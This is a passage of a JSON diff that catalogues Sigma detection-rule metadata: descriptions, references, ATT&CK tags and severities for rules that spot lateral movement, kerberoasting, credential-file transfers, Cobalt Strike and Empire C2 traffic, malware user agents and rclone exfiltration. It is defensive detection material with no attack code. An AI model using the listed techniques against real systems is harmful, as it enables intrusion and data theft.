"uuid": "021310d9-30a6-480a-84b7-eaa69aeb92bb", + "value": "First Time Seen Remote Named Pipe - Zeek", + "meta": { + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_lm_namedpipe.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/04/02", + "filename": "zeek_smb_converted_win_lm_namedpipe.yml", + "author": "Samir Bousseaden, @neu5ron, Tim Shelton", + "level": "high", + "falsepositive": [ + "Update the excluded named pipe to filter out any newly observed legit named pipe" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", + "uuid": "f1b3a22a-45e6-4004-afb5-4291f9c21166", + "value": "Suspicious PsExec Execution - Zeek", + "meta": { + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_psexec.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/04/02", + "filename": "zeek_smb_converted_win_susp_psexec.yml", + "author": "Samir Bousseaden, @neu5ron, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects known sensitive file extensions via Zeek", + "uuid": "286b47ed-f6fe-40b3-b3a8-35129acd43bc", + "value": "Suspicious Access to Sensitive File Extensions - Zeek", + "meta": { + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_raccess_sensitive_fext.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml" + ], + "tags": [ + "attack.collection" + ], + "creation_date": "2020/04/02", + "filename": "zeek_smb_converted_win_susp_raccess_sensitive_fext.yml", + "author": "Samir Bousseaden, @neu5ron", + "level": "medium", + "falsepositive": [ + "Help Desk operator doing backup or re-imaging end user machine or backup software", + "Users working with these data types or exchanging message files" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", + "uuid": "2e69f167-47b5-4ae7-a390-47764529eff5", + "value": "Transferring Files with Credential Data via Network Shares - Zeek", + "meta": { + "refs": [ + "https://github.com/neo23x0/sigma/blob/373424f14574facf9e261d5c822345a282b91479/rules/windows/builtin/win_transferring_files_with_credential_data_via_network_shares.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.001", + "attack.t1003.003" + ], + "creation_date": "2020/04/02", + "filename": "zeek_smb_converted_win_transferring_files_with_credential_data.yml", + "author": "@neu5ron, Teymur Kheirkhabarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Transferring sensitive files for legitimate administration work by legitimate administrator" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting", + "uuid": "503fe26e-b5f2-4944-a126-eab405cc06e5", + "value": "Kerberos Network Traffic RC4 Ticket Encryption", + "meta": { + "refs": [ + "https://adsecurity.org/?p=3458", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2020/02/12", + "filename": "zeek_susp_kerberos_rc4.yml", + "author": "sigma", + "level": "medium", + "falsepositive": [ + "Normal enterprise SPN requests activity" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detect update check performed by Advanced IP Scanner and Advanced Port Scanner", + "uuid": "1a9bb21a-1bb5-42d7-aa05-3219c7c8f47d", + "value": "Advanced IP/Port Scanner Update Check", + "meta": { + "refs": [ + "https://www.advanced-ip-scanner.com/", + "https://www.advanced-port-scanner.com/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_adv_ip_port_scanner_upd_check.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1590" + ], + "creation_date": "2022/08/14", + "filename": "proxy_adv_ip_port_scanner_upd_check.yml", + "author": "Axel Olsson", + "level": "medium", + "falsepositive": [ + "Legitimate use by administrators" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent string of APT40 Dropbox tool", + "uuid": "5ba715b6-71b7-44fd-8245-f66893e81b3d", + "value": "APT40 Dropbox Tool User Agent", + "meta": { + "refs": [ + "Internal research from Florian Roth", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt40.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2019/11/12", + "filename": "proxy_apt40.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Old browsers" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group", + "uuid": "6c939dfa-c710-4e12-a4dd-47e1f10e68e1", + "value": "Domestic Kitten FurBall Malware Pattern", + "meta": { + "refs": [ + "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt_domestic_kitten.yml" + ], + "tags": [ + "attack.command_and_control" + ], + "creation_date": "2021/02/08", + "filename": "proxy_apt_domestic_kitten.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Baby Shark C2 Framework communication patterns", + "uuid": "304810ed-8853-437f-9e36-c4975c3dfd7e", + "value": "BabyShark Agent Pattern", + "meta": { + "refs": [ + "https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_baby_shark.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2021/06/09", + "filename": "proxy_baby_shark.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects HTTP requests used by Chafer malware", + "uuid": "fb502828-2db0-438e-93e6-801c7548686d", + "value": "Chafer Malware URL Pattern", + "meta": { + "refs": [ + "https://securelist.com/chafer-used-remexi-malware/89538/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_chafer_malware.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/01/31", + "filename": "proxy_chafer_malware.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Malleable Amazon Profile", + "uuid": "953b895e-5cc9-454b-b183-7f3db555452e", + "value": "CobaltStrike Malleable Amazon Browsing Traffic Profile", + "meta": { + "refs": [ + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile", + "https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_amazon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/11/12", + "filename": "proxy_cobalt_amazon.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike", + "uuid": "41b42a36-f62c-4c34-bd40-8cb804a34ad8", + "value": "CobaltStrike Malformed UAs in Malleable Profiles", + "meta": { + "refs": [ + "https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_malformed_uas.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2021/05/06", + "filename": "proxy_cobalt_malformed_uas.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Malleable (OCSP) Profile with Typo (OSCP) in URL", + "uuid": "37325383-740a-403d-b1a2-b2b4ab7992e7", + "value": "CobaltStrike Malleable (OCSP) Profile", + "meta": { + "refs": [ + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_ocsp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/11/12", + "filename": "proxy_cobalt_ocsp.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Malleable OneDrive Profile", + "uuid": "c9b33401-cc6a-4cf6-83bb-57ddcb2407fc", + "value": "CobaltStrike Malleable OneDrive Browsing Traffic Profile", + "meta": { + "refs": [ + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_onedrive.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/11/12", + "filename": "proxy_cobalt_onedrive.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects WebDav DownloadCradle", + "uuid": "e09aed7a-09e0-4c9a-90dd-f0d52507347e", + "value": "Windows WebDAV User Agent", + "meta": { + "refs": [ + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_downloadcradle_webdav.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2018/04/06", + "filename": "proxy_downloadcradle_webdav.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative scripts that download files from the Internet", + "Administrative scripts that retrieve certain website contents", + "Legitimate WebDAV administration" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects download of certain file types from hosts with dynamic DNS names (selected list)", + "uuid": "195c1119-ef07-4909-bb12-e66f5e07bf3c", + "value": "Download from Suspicious Dyndns Hosts", + "meta": { + "refs": [ + "https://www.alienvault.com/blogs/security-essentials/dynamic-dns-security-and-potential-threats", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_dyndns.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1105", + "attack.t1568" + ], + "creation_date": "2017/11/08", + "filename": "proxy_download_susp_dyndns.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Software downloads" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects download of certain file types from hosts in suspicious TLDs", + "uuid": "00d0b5ab-1f55-4120-8e83-487c0a7baf19", + "value": "Download from Suspicious TLD", + "meta": { + "refs": [ + "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", + "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf", + "https://www.spamhaus.org/statistics/tlds/", + "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_blacklist.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566", + "attack.execution", + "attack.t1203", + "attack.t1204.002" + ], + "creation_date": "2017/11/07", + "filename": "proxy_download_susp_tlds_blacklist.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "All kinds of software downloads" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects executable downloads from suspicious remote systems", + "uuid": "b5de2919-b74a-4805-91a7-5049accbaefe", + "value": "Download EXE from Suspicious TLD", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_whitelist.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566", + "attack.execution", + "attack.t1203", + "attack.t1204.002" + ], + "creation_date": "2017/03/13", + "filename": "proxy_download_susp_tlds_whitelist.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "All kind of software downloads" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects user agent and URI paths used by empire agents", + "uuid": "b923f7d6-ac89-4a50-a71a-89fb846b4aa8", + "value": "Empire UserAgent URI Combo", + "meta": { + "refs": [ + "https://github.com/BC-SECURITY/Empire", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empire_ua_uri_combos.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2020/07/13", + "filename": "proxy_empire_ua_uri_combos.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Valid requests with this exact user agent to server scripts of the defined names" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious empty user agent strings in proxy logs", + "uuid": "21e44d78-95e7-421b-a464-ffd8395659c4", + "value": "Empty User Agent", + "meta": { + "refs": [ + "https://twitter.com/Carlos_Perez/status/883455096645931008", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empty_ua.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2017/07/08", + "filename": "proxy_empty_ua.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects URL pattern used by iOS Implant", + "uuid": "e06ac91d-b9e6-443d-8e5b-af749e7aa6b6", + "value": "iOS Implant URL Pattern", + "meta": { + "refs": [ + "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", + "https://twitter.com/craiu/status/1167358457344925696", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ios_implant.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.collection", + "attack.t1005", + "attack.t1119", + "attack.credential_access", + "attack.t1528", + "attack.t1552.001" + ], + "creation_date": "2019/08/30", + "filename": "proxy_ios_implant.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Java class download in proxy logs, e.g. used in Log4shell exploitation attacks against Log4j.", + "uuid": "53c15703-b04c-42bb-9055-1937ddfb3392", + "value": "Java Class Proxy Download", + "meta": { + "refs": [ + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_java_class_download.yml" + ], + "tags": [ + "attack.initial_access" + ], + "creation_date": "2021/12/21", + "filename": "proxy_java_class_download.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Windows PowerShell Web Access", + "uuid": "c8557060-9221-4448-8794-96320e6f3e74", + "value": "Windows PowerShell User Agent", + "meta": { + "refs": [ + "https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_powershell_ua.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2017/03/13", + "filename": "proxy_powershell_ua.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Administrative scripts that download files from the Internet", + "Administrative scripts that retrieve certain website contents" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity", + "uuid": "2b1ee7e4-89b6-4739-b7bb-b811b6607e5e", + "value": "PwnDrp Access", + "meta": { + "refs": [ + "https://breakdev.org/pwndrop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_pwndrop.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.t1102.001", + "attack.t1102.003" + ], + "creation_date": "2020/04/15", + "filename": "proxy_pwndrop.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form", + "uuid": "5468045b-4fcc-4d1a-973c-c9c9578edacb", + "value": "Raw Paste Service Access", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/domain/paste.ee/relations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_raw_paste_service_access.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.t1102.001", + "attack.t1102.003", + "attack.defense_evasion" + ], + "creation_date": "2019/12/05", + "filename": "proxy_raw_paste_service_access.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "User activity (e.g. developer that shared and copied code snippets and used the raw link instead of just copy & paste)" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a flashplayer update from an unofficial location", + "uuid": "4922a5dd-6743-4fc2-8e81-144374280997", + "value": "Flash Player Update from Suspicious Location", + "meta": { + "refs": [ + "https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_susp_flash_download_loc.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1189", + "attack.execution", + "attack.t1204.002", + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2017/10/25", + "filename": "proxy_susp_flash_download_loc.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown flash download locations" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious requests to Telegram API without the usual Telegram User-Agent", + "uuid": "b494b165-6634-483d-8c47-2026a6c52372", + "value": "Telegram API Access", + "meta": { + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", + "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_telegram_api.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001", + "attack.t1102.002" + ], + "creation_date": "2018/06/05", + "filename": "proxy_telegram_api.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate use of Telegram bots in the company" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Turla ComRAT patterns", + "uuid": "7857f021-007f-4928-8b2c-7aedbe64bb82", + "value": "Turla ComRAT", + "meta": { + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_turla_comrat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001", + "attack.g0010" + ], + "creation_date": "2020/05/26", + "filename": "proxy_turla_comrat.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent strings used in APT malware in proxy logs", + "uuid": "6ec820f2-e963-4801-9127-d8b2dce4d31b", + "value": "APT User Agent", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_apt.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/11/12", + "filename": "proxy_ua_apt.yml", + "author": "Florian Roth, Markus Neis", + "level": "high", + "falsepositive": [ + "Old browsers" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Bitsadmin connections to IP addresses instead of FQDN names", + "uuid": "8ccd35a2-1c7c-468b-b568-ac6cdf80eec3", + "value": "Bitsadmin to Uncommon IP Server Address", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_ip.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190" + ], + "creation_date": "2022/06/10", + "filename": "proxy_ua_bitsadmin_susp_ip.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Bitsadmin connections to domains with uncommon TLDs - https://twitter.com/jhencinski/status/1102695118455349248 - https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/", + "uuid": "9eb68894-7476-4cd6-8752-23b51f5883a7", + "value": "Bitsadmin to Uncommon TLD", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_tld.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190" + ], + "creation_date": "2019/03/07", + "filename": "proxy_ua_bitsadmin_susp_tld.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Rare programs that use Bitsadmin and update from regional TLDs e.g. .uk or .ca" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent strings used by crypto miners in proxy logs", + "uuid": "fa935401-513b-467b-81f4-f9e77aa0dd78", + "value": "Crypto Miner User Agent", + "meta": { + "refs": [ + "https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65", + "https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_cryptominer.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/10/21", + "filename": "proxy_ua_cryptominer.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs", + "uuid": "fdd1bfb5-f60b-4a35-910e-f36ed3d0b32f", + "value": "Exploit Framework User Agent", + "meta": { + "refs": [ + "https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_frameworks.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2017/07/08", + "filename": "proxy_ua_frameworks.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent strings user by hack tools in proxy logs", + "uuid": "c42a3073-30fb-48ae-8c99-c23ada84b103", + "value": "Hack Tool User Agent", + "meta": { + "refs": [ + "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", + "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_hacktool.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2017/07/08", + "filename": "proxy_ua_hacktool.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent strings used by malware in proxy logs", + "uuid": "5c84856b-55a5-45f1-826f-13f37250cf4e", + "value": "Malware User Agent", + "meta": { + "refs": [ + "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", + "http://www.botopedia.org/search?searchword=scan&searchphrase=all", + "https://networkraptor.blogspot.com/2015/01/user-agent-strings.html", + "https://perishablepress.com/blacklist/ua-2013.txt", + "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_malware.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2017/07/08", + "filename": "proxy_ua_malware.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string", + "uuid": "2c03648b-e081-41a5-b9fb-7d854a915091", + "value": "Rclone Activity via Proxy", + "meta": { + "refs": [ + "https://rclone.org/", + "https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_rclone.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2022/10/18", + "filename": "proxy_ua_rclone.yml", + "author": "Janantha Marasinghe", + "level": "medium", + "falsepositive": [ + "Valid requests with this exact user agent to that is used by legitimate scripts or sysadmin operations" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious malformed user agent strings in proxy logs", + "uuid": "7195a772-4b3f-43a4-a210-6a003d65caa1", + "value": "Suspicious User Agent", + "meta": { + "refs": [ + "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2017/07/08", + "filename": "proxy_ua_susp.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious User Agent strings that end with an equal sign, which can be a sign of base64 encoded values used as User Agent string", + "uuid": "894a8613-cf12-48b3-8e57-9085f54aa0c3", + "value": "Suspicious User Agent", + "meta": { + "refs": [ + "https://blogs.jpcert.or.jp/en/2022/07/yamabot.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp_base64.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2022/07/08", + "filename": "proxy_ua_susp_base64.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Ursnif C2 traffic.", + "uuid": "932ac737-33ca-4afd-9869-0d48b391fcc9", + "value": "Ursnif Malware C2 URL Pattern", + "meta": { + "refs": [ + "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_c2_url.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001", + "attack.execution", + "attack.t1204.002", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/12/19", + "filename": "proxy_ursnif_malware_c2_url.yml", + "author": "Thomas Patzke", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects download of Ursnif malware done by dropper documents.", + "uuid": "a36ce77e-30db-4ea0-8795-644d7af5dfb4", + "value": "Ursnif Malware Download URL Pattern", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_download_url.yml" + ], + "tags": "No established tags", + "creation_date": "2019/12/19", + "filename": "proxy_ursnif_malware_download_url.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a segmentation fault error message caused by a creashing apache worker process", + "uuid": "1da8ce0b-855d-4004-8860-7d64d42063b1", + "value": "Apache Segmentation Fault", + "meta": { + "refs": [ + "http://www.securityfocus.com/infocus/1633", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_segfault.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499.004" + ], + "creation_date": "2017/02/28", + "filename": 